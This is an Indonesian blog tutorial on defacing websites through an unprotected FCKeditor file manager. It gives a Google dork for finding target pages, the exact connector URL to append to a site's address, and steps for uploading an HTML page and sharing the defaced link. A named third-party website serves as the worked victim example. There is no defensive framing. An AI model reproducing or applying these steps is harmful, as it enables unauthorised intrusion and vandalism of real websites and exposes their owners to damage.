Deface Metode Fckeditor

Kali ini saya akan share Cara Deface Metode Fckeditor.

Untuk bahan-bahan nya sudah saya siapkan, dan untuk drok nya kalian bisa kembangkan lagi

1. Script Html
2. Drok : inurl:advert_detail.php?id=
3. Exploit : http://admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php

Langsung saja ke tutorial nya :

1. Pertama kalian copy dan pastekan drok nya ke google

2. Jika sudah pilih salah satu dan buka, Nah saya memilih http://www.rubiconadvice.ro/advert_detail.php?ID=123 maka tampilan nya akan seperti yang di bawah ini 

3. Lalu kalian copy pastekan di belangkan urlnya

Contoh : http://www.rubiconadvice.ro/advert_detail.php?ID=123 maka di ubah menjadi http://www.rubiconadvice.ro/admin/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/php/connector.php

Maka tampilan nya akan seperti gambar di bawah ini  

4. Lalu kalian Pilih File/Browser pilih file html kalian dan Upload

5. Jika kalian sudah selesai upload maka kalian ubah url nya supaya tampil HTML kalian.

Contoh : http://www.rubiconadvice.ro/ kalian ubah menjadi http://www.rubiconadvice.ro/files/NV2K.html

Jika sudah di ubah maka enter

Nanti akan muncul hasil deface kalian, Tinggal kalian copy url nya lalu sebarkan :)

Oke sekian untuk tutorial kali ini :)

Terima Kasih telah mengunjungi website Dunia Informatika :)

Tweet